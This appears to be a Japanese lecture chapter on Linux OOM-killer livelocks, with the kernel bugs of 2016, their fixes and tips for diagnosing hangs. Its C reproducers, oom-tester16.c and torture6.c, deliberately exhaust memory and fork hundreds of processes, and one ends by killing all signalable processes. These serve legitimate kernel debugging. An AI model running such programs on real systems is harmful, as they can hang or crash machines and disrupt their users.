[ 1964.315336] pool 4: cpus=2 node=0 flags=0x0 nice=0 hung=0s workers=4 idle: 2396
[ 1964.315395] pool 128: cpus=0-63 flags=0x4 nice=0 hung=0s workers=3 idle: 4706 6
(...snipped...)
[ 1964.320659] MemAlloc-Info: stalling=114 dying=3 exiting=3 victim=0 oom_count=3275
---------- 実行結果例 ここまで ----------

上記の実行結果例では kmallocwd カーネルスレッドによるメッセージが出力されていますが、現時点では kmallocwd は採用されていないため、( /proc/sys/kernel/hung_task_timeout_secs と /proc/sys/kernel/hung_task_warnings の値がどちらも 0 以外に設定されていない場合、)実際にこの状況に遭遇しても、何のメッセージも出力されません。

Michal Hocko さんは OOM killer / OOM reaper 関連の修正などで忙しく、この問題への返事はまだありません。いつごろ着手できそうかを質問してみたのですが、この問題は根が深いそうで、着手見込みを回答するのが難しいようです。

2016年3月 OOM 発生時の fs writeback 処理要求により予約メモリが枯渇する問題

空きメモリを確保するためのメモリ割り当て要求の場合には、予約メモリからメモリ割り当てを行うことが認められています。そのため、 OOM killer により TIF_MEMDIE フラグが付与されたスレッドだけでなく、 fs writeback 処理を行っているスレッドも、予約メモリからメモリ割り当てを行うことができるようになっています。しかし、予約メモリの使用量を制限する方法は存在しないため、不用意に予約メモリから割り当ててしまうと、予約メモリが枯渇してしまうという問題があります。その結果、 OOM 発生時の挙動を調査していると、平常時なら問題の無い挙動により事態が悪化することがあります。

これは、ファイルへの書き込みを行いながら OOM livelock 状態が発生した場合に、メモリ割り当て要求の中で発生する「 fs writeback 要求のためのメモリ割り当て要求」により、予約メモリが枯渇してしまうという問題です。

---------- oom-tester16.c ----------
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/prctl.h>
#include <signal.h>

static char buffer[4096] = { };

static int file_io(void *unused)
{
        const int fd = open(buffer, O_WRONLY | O_CREAT | O_APPEND, 0600);
        sleep(2);
        while (write(fd, buffer, sizeof(buffer)) > 0);
        close(fd);
        return 0;
}

int main(int argc, char *argv[])
{
        int i;
        if (chdir("/tmp"))
                return 1;
        for (i = 0; i < 64; i++)
                if (fork() == 0) {
                        static cpu_set_t set = { { 1 } };
                        const int fd = open("/proc/self/oom_score_adj", O_WRONLY);
                        write(fd, "1000", 4);
                        close(fd);
                        sched_setaffinity(0, sizeof(set), &set);
                        snprintf(buffer, sizeof(buffer), "file_io.%02u", i);
                        prctl(PR_SET_NAME, (unsigned long) buffer, 0, 0, 0);
                        for (i = 0; i < 16; i++)
                                clone(file_io, malloc(1024) + 1024, CLONE_VM, NULL);
                        while (1)
                                pause();
                }
        { /* A dummy process for invoking the OOM killer. */
                char *buf = NULL;
                unsigned long i;
                unsigned long size = 0;
                prctl(PR_SET_NAME, (unsigned long) "memeater", 0, 0, 0);
                for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                        char *cp = realloc(buf, size);
                        if (!cp) {
                                size >>= 1;
                                break;
                        }
                        buf = cp;
                }
                sleep(4);
                for (i = 0; i < size; i += 4096)
                        buf[i] = '\0'; /* Will cause OOM due to overcommit */
        }
        kill(-1, SIGKILL);
        return * (char *) NULL; /* Not reached. */
}
---------- oom-tester16.c ----------
---------- 実行結果例 ここから ----------
[   59.562581] Mem-Info:
[   59.563935] active_anon:289393 inactive_anon:2093 isolated_anon:29
[   59.563935]  active_file:10838 inactive_file:113013 isolated_file:859
[   59.563935]  unevictable:0 dirty:108531 writeback:5308 unstable:0
[   59.563935]  slab_reclaimable:5526 slab_unreclaimable:7077
[   59.563935]  mapped:9970 shmem:2159 pagetables:2387 bounce:0
[   59.563935]  free:3042 free_pcp:0 free_cma:0
[   59.574558] Node 0 DMA free:6968kB min:44kB low:52kB high:64kB active_anon:6056kB inactive_anon:176kB active_file:712kB inactive_file:744kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:756kB writeback:0kB mapped:736kB shmem:184kB slab_reclaimable:48kB slab_unreclaimable:208kB kernel_stack:160kB pagetables:144kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:9708 all_unreclaimable? yes
[   59.585464] lowmem_reserve[]: 0 1732 1732 1732
[   59.587123] Node 0 DMA32 free:5200kB min:5200kB low:6500kB high:7800kB active_anon:1151516kB inactive_anon:8196kB active_file:42640kB inactive_file:451076kB unevictable:0kB isolated(anon):116kB isolated(file):3564kB present:2080640kB managed:1775332kB mlocked:0kB dirty:433368kB writeback:21232kB mapped:39144kB shmem:8452kB slab_reclaimable:22056kB slab_unreclaimable:28100kB kernel_stack:20976kB pagetables:9404kB unstable:0kB bounce:0kB free_pcp:120kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:2701604 all_unreclaimable? no
[   59.599649] lowmem_reserve[]: 0 0 0 0
[   59.601431] Node 0 DMA: 25*4kB (UME) 16*8kB (UME) 3*16kB (UE) 5*32kB (UME) 2*64kB (UM) 2*128kB (ME) 2*256kB (ME) 1*512kB (E) 1*1024kB (E) 2*2048kB (ME) 0*4096kB = 6964kB
[   59.606509] Node 0 DMA32: 925*4kB (UME) 140*8kB (UME) 5*16kB (ME) 5*32kB (M) 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 5060kB
[   59.610415] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[   59.612879] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   59.615308] 126847 total pagecache pages
[   59.616921] 0 pages in swap cache
[   59.618475] Swap cache stats: add 0, delete 0, find 0/0
[   59.620268] Free swap  = 0kB
[   59.621650] Total swap = 0kB
[   59.623011] 524157 pages RAM
[   59.624365] 0 pages HighMem/MovableOnly
[   59.625893] 76348 pages reserved
[   59.627506] 0 pages hwpoisoned
[   59.628838] Out of memory: Kill process 4450 (file_io.00) score 998 or sacrifice child
[   59.631071] Killed process 4450 (file_io.00) total-vm:4308kB, anon-rss:100kB, file-rss:1184kB, shmem-rss:0kB
[   61.526353] kthreadd: page allocation failure: order:0, mode:0x2200020
[   61.527976] file_io.00: page allocation failure: order:0, mode:0x2200020
[   61.527978] CPU: 0 PID: 4457 Comm: file_io.00 Not tainted 4.5.0-rc7+ #45
[   61.527979] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   61.527981]  0000000000000086 000000000005bb2d ffff88006cc5b588 ffffffff812a4d65
[   61.527982]  0000000002200020 0000000000000000 ffff88006cc5b618 ffffffff81106dc7
[   61.527983]  0000000000000000 ffffffffffffffff 00ff880000000000 ffff880000000004
[   61.527983] Call Trace:
[   61.528009]  [<ffffffff812a4d65>] dump_stack+0x4d/0x68
[   61.528012]  [<ffffffff81106dc7>] warn_alloc_failed+0xf7/0x150
[   61.528014]  [<ffffffff81109e3f>] __alloc_pages_nodemask+0x23f/0xa60
[   61.528016]  [<ffffffff81137770>] ? page_check_address_transhuge+0x350/0x350
[   61.528018]  [<ffffffff8111327d>] ? page_evictable+0xd/0x40
[   61.528019]  [<ffffffff8114d927>] alloc_pages_current+0x87/0x110
[   61.528021]  [<ffffffff81155181>] new_slab+0x3a1/0x440
[   61.528023]  [<ffffffff81156fdf>] ___slab_alloc+0x3cf/0x590
[   61.528024]  [<ffffffff811a0999>] ? wb_start_writeback+0x39/0x90
[   61.528027]  [<ffffffff815a7f68>] ? preempt_schedule_common+0x1f/0x37
[   61.528028]  [<ffffffff815a7f9f>] ? preempt_schedule+0x1f/0x30
[   61.528030]  [<ffffffff81001012>] ? ___preempt_schedule+0x12/0x14
[   61.528030]  [<ffffffff811a0999>] ? wb_start_writeback+0x39/0x90
[   61.528032]  [<ffffffff81175536>] __slab_alloc.isra.64+0x18/0x1d
[   61.528033]  [<ffffffff8115778c>] kmem_cache_alloc+0x11c/0x150
[   61.528034]  [<ffffffff811a0999>] wb_start_writeback+0x39/0x90
[   61.528035]  [<ffffffff811a0d9f>] wakeup_flusher_threads+0x7f/0xf0
[   61.528036]  [<ffffffff81115ac9>] do_try_to_free_pages+0x1f9/0x410
[   61.528037]  [<ffffffff81115d74>] try_to_free_pages+0x94/0xc0
[   61.528038]  [<ffffffff8110a166>] __alloc_pages_nodemask+0x566/0xa60
[   61.528040]  [<ffffffff81200878>] ? xfs_bmapi_read+0x208/0x2f0
[   61.528041]  [<ffffffff8114d927>] alloc_pages_current+0x87/0x110
[   61.528042]  [<ffffffff8110092f>] __page_cache_alloc+0xaf/0xc0
[   61.528043]  [<ffffffff811011e8>] pagecache_get_page+0x88/0x260
[   61.528044]  [<ffffffff81101d31>] grab_cache_page_write_begin+0x21/0x40
[   61.528046]  [<ffffffff81222c9f>] xfs_vm_write_begin+0x2f/0xf0
[   61.528047]  [<ffffffff810b14be>] ? current_fs_time+0x1e/0x30
[   61.528048]  [<ffffffff81101eca>] generic_perform_write+0xca/0x1c0
[   61.528050]  [<ffffffff8107c390>] ? wake_up_process+0x10/0x20
[   61.528051]  [<ffffffff8122e01c>] xfs_file_buffered_aio_write+0xcc/0x1f0
[   61.528052]  [<ffffffff81079037>] ? finish_task_switch+0x77/0x280
[   61.528053]  [<ffffffff8122e1c4>] xfs_file_write_iter+0x84/0x140
[   61.528054]  [<ffffffff811777a7>] __vfs_write+0xc7/0x100
[   61.528055]  [<ffffffff811784cd>] vfs_write+0x9d/0x190
[   61.528056]  [<ffffffff810010a1>] ? do_audit_syscall_entry+0x61/0x70
[   61.528057]  [<ffffffff811793c0>] SyS_write+0x50/0xc0
[   61.528059]  [<ffffffff815ab4d7>] entry_SYSCALL_64_fastpath+0x12/0x6a
[   61.528059] Mem-Info:
[   61.528062] active_anon:293335 inactive_anon:2093 isolated_anon:0
[   61.528062]  active_file:10829 inactive_file:110045 isolated_file:32
[   61.528062]  unevictable:0 dirty:109275 writeback:822 unstable:0
[   61.528062]  slab_reclaimable:5489 slab_unreclaimable:10070
[   61.528062]  mapped:9999 shmem:2159 pagetables:2420 bounce:0
[   61.528062]  free:3 free_pcp:0 free_cma:0
[   61.528065] Node 0 DMA free:12kB min:44kB low:52kB high:64kB active_anon:6060kB inactive_anon:176kB active_file:708kB inactive_file:756kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:756kB writeback:0kB mapped:736kB shmem:184kB slab_reclaimable:48kB slab_unreclaimable:7160kB kernel_stack:160kB pagetables:144kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:9844 all_unreclaimable? yes
[   61.528066] lowmem_reserve[]: 0 1732 1732 1732
[   61.528068] Node 0 DMA32 free:0kB min:5200kB low:6500kB high:7800kB active_anon:1167280kB inactive_anon:8196kB active_file:42608kB inactive_file:439424kB unevictable:0kB isolated(anon):0kB isolated(file):128kB present:2080640kB managed:1775332kB mlocked:0kB dirty:436344kB writeback:3288kB mapped:39260kB shmem:8452kB slab_reclaimable:21908kB slab_unreclaimable:33120kB kernel_stack:20976kB pagetables:9536kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:11073180 all_unreclaimable? yes
[   61.528069] lowmem_reserve[]: 0 0 0 0
[   61.528072] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   61.528074] Node 0 DMA32: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   61.528075] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[   61.528075] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   61.528076] 123086 total pagecache pages
[   61.528076] 0 pages in swap cache
[   61.528077] Swap cache stats: add 0, delete 0, find 0/0
[   61.528077] Free swap  = 0kB
[   61.528077] Total swap = 0kB
[   61.528077] 524157 pages RAM
[   61.528078] 0 pages HighMem/MovableOnly
[   61.528078] 76348 pages reserved
[   61.528078] 0 pages hwpoisoned
[   61.528079] SLUB: Unable to allocate memory on node -1 (gfp=0x2088020)
[   61.528080]   cache: kmalloc-64, object size: 64, buffer size: 64, default order: 0, min order: 0
[   61.528080]   node 0: slabs: 3218, objs: 205952, free: 0
[   61.528085] file_io.00: page allocation failure: order:0, mode:0x2200020
[   61.528086] CPU: 0 PID: 4457 Comm: file_io.00 Not tainted 4.5.0-rc7+ #45
---------- 実行結果例 ここまで ----------

暫定対処ではありますが、とりあえず、 commit 78ebc2f7146156f4 ("mm,writeback: don't use memory reserves for wb_start_writeback") というパッチにより、予約メモリが枯渇しないようになりました。

OOM reaper がマージされるより前に、この問題を発見できたことは幸運でした。何故なら、 OOM reaper により OOM livelock 状態の発生を回避できた場合、この問題を再現できなくなってしまい、問題の存在自体が無かったことにされてしまうからです。犯人を自力で突き止めることが特に強く要求される、 Linux カーネルのメモリ管理機構に起因した不具合では、再現できない問題に対処してもらえる可能性は低いです。

2016年5月 down_write_killable() の不具合に起因して OOM livelock 状態に陥る問題

OOM reaper がメモリを回収できない可能性を減らそうとして導入された、 SIGKILL シグナルにより中断できるようにした down_write() 操作に不具合があり、 OOM livelock 状態に陥っていました。 down_write_killable() が Linux next (この時点では Linux 4.7-rc1 に向けて開発中のバージョン)にマージされてから、1か月もの間、誰もこの不具合に気づきませんでした。(繰り返しになりますが、それくらい OOM 発生時の挙動のテストは十分に行われていないということです。)

---------- torture6.c ----------
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/wait.h>

static int memory_eater(void *unused)
{
        char *buf = NULL;
        unsigned long size = 0;
        while (1) {
                char *tmp = realloc(buf, size + 4096);
                if (!tmp)
                        break;
                buf = tmp;
                buf[size] = 0;
                size += 4096;
                size %= 1048576;
        }
        kill(getpid(), SIGKILL);
        return 0;
}

static void child(void)
{
        char *stack = malloc(4096 * 2);
        char from[128] = { };
        char to[128] = { };
        const pid_t pid = getpid();
        unsigned char prev = 0;
        int fd = open("/proc/self/oom_score_adj", O_WRONLY);
        write(fd, "1000", 4);
        close(fd);
        snprintf(from, sizeof(from), "tgid=%u", pid);
        prctl(PR_SET_NAME, (unsigned long) from, 0, 0, 0);
        srand(pid);
        snprintf(from, sizeof(from), "file.%u-0", pid);
        fd = open(from, O_WRONLY | O_CREAT, 0600);
        if (fd == EOF)
                _exit(1);
        if (clone(memory_eater, stack + 4096, CLONE_THREAD | CLONE_SIGHAND | CLONE_VM, NULL) == -1)
                _exit(1);
        while (1) {
                const unsigned char next = rand();
                snprintf(from, sizeof(from), "file.%u-%u", pid, prev);
                snprintf(to, sizeof(to), "file.%u-%u", pid, next);
                prev = next;
                rename(from, to);
                write(fd, "", 1);
        }
        _exit(0);
}

int main(int argc, char *argv[])
{
        if (chdir("/tmp"))
                return 1;
        if (fork() == 0) {
                char *buf = NULL;
                unsigned long size;
                unsigned long i;
                for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                        char *cp = realloc(buf, size);
                        if (!cp) {
                                size >>= 1;
                                break;
                        }
                        buf = cp;
                }
                /* Will cause OOM due to overcommit */
                for (i = 0; i < size; i += 4096)
                        buf[i] = 0;
                while (1)
                        pause();
        } else {
                int children = 1024;
                while (1) {
                        while (children > 0) {
                                switch (fork()) {
                                case 0:
                                        child();
                                case -1:
                                        sleep(1);
                                        break;
                                default:
                                        children--;
                                }
                        }
                        wait(NULL);
                        children++;
                }
        }
        return 0;
}
---------- torture6.c ----------

この不具合は commit 04cafed7fc19a801 ("locking/rwsem: Fix down_write_killable()") というパッチにより修正されました。

2016年7月 dm-crypt 経由のスワップアウト処理要求時に予約メモリが枯渇する問題

スワップ領域に退避させる処理は空きメモリを確保するための処理であるため、スワップ領域に退避させる処理の中で必要になるメモリ割り当て要求に対しても、予約メモリからメモリ割り当てを行うことが認められています。

Linux 4.6 以降には commit f9054c70d28bc214 ("mm, mempool: only set __GFP_NOMEMALLOC if there are free elements") という、 TIF_MEMDIE フラグが割り当てられたスレッドが永遠に mempool_alloc() 内で待たされないようにするためのパッチが含まれています。しかし、このパッチは、空きメモリを確保するための処理の中から呼ばれることを想定していませんでした。その結果、空きメモリを確保するために dm-crypt 経由でスワップ領域に退避させようとした場合に、暗号化を行うための dm-crypt がメモリ割り当て処理を行うことで予約メモリが枯渇してシステムが動作不能に陥るという結果を招いてしまいました。

Linux 4.6 で OOM reaper が採用され、現在は OOM killer が発動できる限りは OOM livelock 状態に陥らないことを証明できるようにすることを目指していることもあり、 commit 4e390b2b2f34b8da ("Revert "mm, mempool: only set __GFP_NOMEMALLOC if there are free elements"") というパッチにより取り消されました。


第7章 まとめ 「 Linux システムがハングアップしたらメモリ管理を疑え!?」


OOM killer が発動できた場合に、システムがハングアップしてしまうという可能性は軽減されました。しかし、 OOM killer が発動できないまま、システムがハングアップしてしまうという可能性は残ったままです。そのため、「 Out of memory ( OOM )状態になると OOM killer が発動して Out of memory 状態を解消してくれる」というのは、現時点ではまだ幻想であるということが、この体験で辿り着いた結論です。

何年も前のことですが、 SELinux がデフォルトで enforcing モードになって以降、「アプリケーションの動作で何か問題が起きたらまずは SELinux を疑ってみろ」という風潮がありました。

SELinux が原因と疑われる場合には disabled モードにして問題が解決するかどうかを試してみることができます。しかし、空きメモリ枯渇時のメモリ管理機構の挙動が原因であったとしても、メモリ管理機構を使わないことで問題が解決するかどうかを試すことはできません。

空きメモリ枯渇時のメモリ管理機構の挙動は、システムの構成や使い方やタイミングに依存するので、開発段階で全ての可能性を網羅的にテストすることはできません。エンドユーザの環境で問題が発生した場合のフィードバックを得る必要があります。しかし、メモリ管理機構は、「想定外の状況が発生していること」を知らせてくれない(「メモリ管理機構は無実であること」を証明する仕組みが存在しない)ので、エンドユーザからのフィードバックを得るどころか、メモリ管理機構が原因かもしれないと疑うことさえもできない状況が続いています。

システムのハングアップに悩まされているシステム運用担当者とサポートセンタの技術者さんには申し訳ないのですが、今後も当面はCTFのエスパー問題と向き合っていただくことになるかと思います。


7.1 受講者へのメッセージ

linux-mm メーリングリストではトラブル報告続きです。

どうやら、 Linux カーネル内のメモリ管理機構は楽観論とヒューリスティックの塊のようです。ソースコード内のコメントや変更履歴を鵜呑みにせず、とにかく疑って疑って疑ってみましょう。前提条件は何なのか、最悪の事態をどこまで想定しているのかなど、尽きるところがありません。

The "too small to fail" memory-allocation rule は健在です。また、 Too small でなくても fail できない問題もあります。この講義で Linux カーネルのメモリ管理の闇を垣間見てしまった貴方、この難題に挑戦してみませんか?

担当の壁を乗り越えよう!

今年の4月に開催されたLSF/MMサミットでは、無理ゲーの原因である GFP フラグの見直しについての議論が行われた模様です。熊猫はどちらの人でもないので、話の内容(それぞれのサブシステム内での詳細な挙動)について理解できないのですが、提供する側と利用する側との間で如何に認識が共有できていなかったかを露呈しているように見えています。バックポート可能な回避策が置いてけぼりになっているのは残念ですが、それでも、 Linux カーネル開発者のコミュニティは動き始めているようです。

現実世界でも、硬直化した組織では他の担当のことを考えられなくなっていると感じています。そして、担当内であっても、「それは俺の担当じゃない!」として問題から逃げようとする姿勢があふれているように思います。追い打ちをかけるように、セキュリティという名のもとに、問題点について組織として考えたり共有したりすることさえ禁止する風潮が強くなってきているように思います。

FSの人たちとMMの人たちが話し合いを始めて問題を解決しようとしているように、現実世界でも遠慮なく話し合いできる心の余裕が必要だと考えます。日々の交渉を有利に進めるためではなく、長年にわたる問題を解決するために「いろんな可能性を考える」というちょっとした想像力や気配りが、物事を動かしていくと考えています。


7.2 参考 ハングアップした場合の情報取得のためのヒント

仮想化環境の場合、メモリダンプが kdump の代わりになります。

KVM や VMware など、仮想化環境のゲストとして動作している Linux システムの場合、ハイパーバイザ側が提供する機能を利用することで、ゲストのメモリダンプを取得することができます。カーネルパニックを発生させずに取得できるため、複数回取得することにより、時間経過に伴う状況の変化も確認できます。そのため、ハングアップした際に、ゲストのメモリダンプを複数回取得してから再起動させるようにすれば、原因を究明できる可能性が増えます。

シリアルコンソールや netconsole を設定しておきましょう。

メモリ管理機構の挙動に起因したハングアップが発生しても、カーネルは何のメッセージも出力しません。そのため、メモリダンプや SysRq による情報取得が必要になります。

SysRq-m でメモリ使用状況を確認しましょう。

シリアルコンソールや netconsole を設定してあれば、メモリの使用状況を確認することができます。 free: が min: を下回っていたら、 OOM livelock 状態に陥っている可能性が疑われます。

SysRq-t でメモリ割り当て要求中のスレッドを確認しましょう。

シリアルコンソールや netconsole を設定してあれば、メモリ割り当て要求中のスレッドの有無を確認することができます。多くのスレッドで __alloc_pages_nodemask という行が出力された場合、 OOM livelock 状態に陥っている可能性が疑われます。

/proc/sys/kernel/hung_task_warnings の現在値に注意しましょう。

/proc/sys/kernel/hung_task_warnings の値が初期設定値である 10 のまま使用していたことで、問題が発生する前に /proc/sys/kernel/hung_task_warnings の現在値が既に 0 になってしまい、問題が発生した時にメッセージを取得し損ねたというケースが多くみられます。

kdump 取得のために、可能であれば再起動ではなくカーネルパニックを発生させるように watchdog を設定しておきましょう。

ウォッチドッグの種類によっては、タイムアウト時の動作を選べるようになっています。ハングアップした際に、 kdump を取得してから再起動させるようにすれば、原因を究明できる可能性が増えます。

問題に遭遇する前に、操作手順を試しておきましょう。

OSSコラム 安らかな夜を迎えるためにという連載でも書きましたが、やっぱり、事前に準備して練習しているかどうかが、大きな分かれ目になると考えます。